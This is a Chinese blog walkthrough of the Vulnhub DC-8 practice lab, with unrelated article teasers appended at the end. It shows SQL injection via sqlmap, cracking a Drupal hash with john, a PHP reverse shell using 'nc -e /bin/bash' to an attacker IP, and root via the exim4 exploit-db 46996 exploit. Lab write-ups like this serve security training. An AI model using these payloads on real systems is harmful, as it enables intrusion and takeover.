Vulnhub靶机DC系列

访客4年前黑客资讯860

0x0:靶场介绍

靶场名称: DC: 8

靶场发布时间:2019-9-8

靶场地址:https://www.vulnhub.com/entry/dc-8,367/

靶场描述:

DC-8 is another purposely built vulnerable lab with the intent of gaining experience in the world of penetration testing.

This challenge is a bit of a hybrid between being an actual challenge, and being a "proof of concept" as to whether two-factor authentication installed and configured on Linux can prevent the Linux server from being exploited.

The "proof of concept" portion of this challenge eventuated as a result of a question being asked about two-factor authentication and Linux on Twitter, and also due to a suggestion by @theart42.

The ultimate goal of this challenge is to bypass two-factor authentication, get root and to read the one and only flag.

You probably wouldn't even know that two-factor authentication was installed and configured unless you attempt to login via SSH, but it's definitely there and doing it's job.

Linux skills and familiarity with the Linux command line are a must, as is some experience with basic penetration testing tools.

For beginners, Google can be of great assistance, but you can always tweet me at @DCAU7 for assistance to get you going again. But take note: I won't give you the answer, instead, I'll give you an idea about how to move forward.

1x0:环境搭建

VMware虚拟机(桥接模式)

2x0:靶机渗透

获取靶机的IP

nmap -sn 192.168.3.0/24

1610932905_6004e2a99c64fd5dca9fe.png!small?1610932905572

使用nmap来查看靶机的端口信息和系统信息等等

1610932982_6004e2f6420bf099e30aa.png!small?1610932982277

首先去查看80端口的web服务 还是Drupal

1610932941_6004e2cda7198369e87b0.png!small?1610932941582

提示不用爆破破解,使用dirb扫描一下目录

1610933192_6004e3c81f9d669e08592.png!small?1610933192663

存在robots.txt文件

1610933204_6004e3d4ea481403c23ae.png!small?1610933204864

登录地址:

1610933171_6004e3b308d388a76db7b.png!small?1610933170881

版本大致的判断:

1610933281_6004e42109cab2fa66352.png!small?1610933280966

这三个页面url中存在参数sqlmap去尝试一下

1610933371_6004e47ba28fba2b94f45.png!small?1610933371531

sqlmap确定存在sql注入

1610933534_6004e51e88de6ea8f747c.png!small?1610933534475

读取一下数据

1610933870_6004e66e47b90263ce84f.png!small?1610933870181

drupal的密码是特殊加密的需要爆破破解,使用john

john pwd --wordlist=/usr/share/wordlists/rockyou.txt

1610934352_6004e8503a72bdbca18bd.png!small?1610934352156

john/turtle 登录页面

1610934422_6004e896559c8022ef767.png!small?1610934422281

3x0:后台篇

登录后需要获取到shell

在页面中发现可以直接执行php语句

1610934573_6004e92d54bfb45c0a5ef.png!small?1610934573270

写入shell

<?php
system("nc -e /bin/bash 192.168.3.20 1234");
 ?>

反弹到kali中 随便提交数据

1610934713_6004e9b9875cd19a78f62.png!small?1610934713390

反弹成功

1610934731_6004e9cbe4ba1f6a6b0a0.png!small?1610934731855

4x0:提权篇

切换shell

1610934786_6004ea02a5770f6ad668f.png!small?1610934786572

查看一下用户有那些

1610934824_6004ea28a6bccdd39360d.png!small?1610934824603

在看看有没有内核提权

1610934890_6004ea6a9c71ef96b71dd.png!small

find / -perm -u=s -type f 2>/dev/null 查看具有root权限的命令

1610934871_6004ea577e9c65193a484.png!small?1610934871427

查看一下exim4的版本 又没有漏洞

exim4 --version

1610935041_6004eb01c5738f2128f1e.png!small?1610935041688

https://www.exploit-db.com/exploits/46996找到一个可以使用的exp

下载exp,上传到靶机中并赋予权限

1610935196_6004eb9c920422202b768.png!small?1610935196484使用过程中报错了

1610935530_6004ecead2f3eed49098c.png!small?1610935530748

需要对exp脚本 执行编码

vim 46996.sh

:set ff=unix

:wq

在重新上传到靶机中 提权(改完还是报错),直接复制代码在靶机中创建文件填写

1610935811_6004ee03815148ea2bd90.png!small?1610935811480

执行成功。

1610935909_6004ee6524c44a877269a.png!small?1610935909386

获取到root权限

5x0:flag获取

1610935981_6004eead3c9ffb345eae1.png!small?1610935981183

相关文章

还能恢复他们之间的聊天记录吗有没有这种可能电脑上怎样查看微信聊天记录淘宝网

还能恢复他们之间的聊天记录吗有没有这种可能电脑上怎样查看微信聊天记录淘宝网今日五七又要和大伙儿来聊天儿了 ,大约掐指一算,早已6天沒有升级了,有点儿小伙伴们早已急不可耐的催更了 ,哼哼…前几日主要是电...

动物之森收纳箱如何扩大 动物之森收纳箱扩大容量方法分享

动物之森收纳箱如何扩大 动物之森收纳箱扩大容量方法分享

在动物之森游戏中不少小伙伴们都想要将收纳箱的容量扩大,那么动物之森收纳箱怎么扩大容量呢?下面小编就为大家带来动物之森收纳箱怎么扩大容量方法介绍,跟小编一起去看看吧。 收纳箱的容量和玩家的房屋等级...

味西石锅拌饭米线生意好吗?一起来看看

味西石锅拌饭米线生意好吗?一起来看看

创业什么时候都是要去存眷一个可以或许让本身乐成赚到钱的加盟好项目,因为只有这样才气够让本身的创业乐成的大概性提高,将失败的几率低落,而此刻味西石锅拌饭米线生意好吗?一起来看看,味西石锅拌饭米线加盟项目...

女主黑客代号曼陀(女主黑客代号曼陀,男主军人)

女主黑客代号曼陀(女主黑客代号曼陀,男主军人)

本文目录一览: 1、言情的小说,男主角很强大的,女主是特工、黑客那类的很强的人物,要现代的。。。拜托,多一点啊!!! 2、各位大神帮帮忙,本人在找一本女主是黑客的小说。 3、米读小说女主是黑客...

天龙八部3平民赚钱2018(天龙八部多开赚钱方案分

天龙八部3平民赚钱2018(天龙八部多开赚钱方案分

各位看官老爷们,晓峰来报道啦。每日一看,每日开心,一直看一直开心。作为一个资深的天龙八部玩家,五年的游戏史,从天龙八部端游到手游,对这个游戏是存在着深厚的感情,今天晓峰来讲讲全服最贵的游戏账号吧,出价...

网站域名被攻击怎么办(3种网站攻击的解决办法)

网站域名被攻击怎么办(3种网站攻击的解决办法)

无论是正规企业网站、游戏网站、购物网站仍是棋牌室、文娱网站,许多用户由于各类网络攻击使网站溃散,服务器强行关闭,客户不能访问,私密信息泄露,而导致利益损失。今天讲讲网站被攻击的常见九种形式。 1.网站...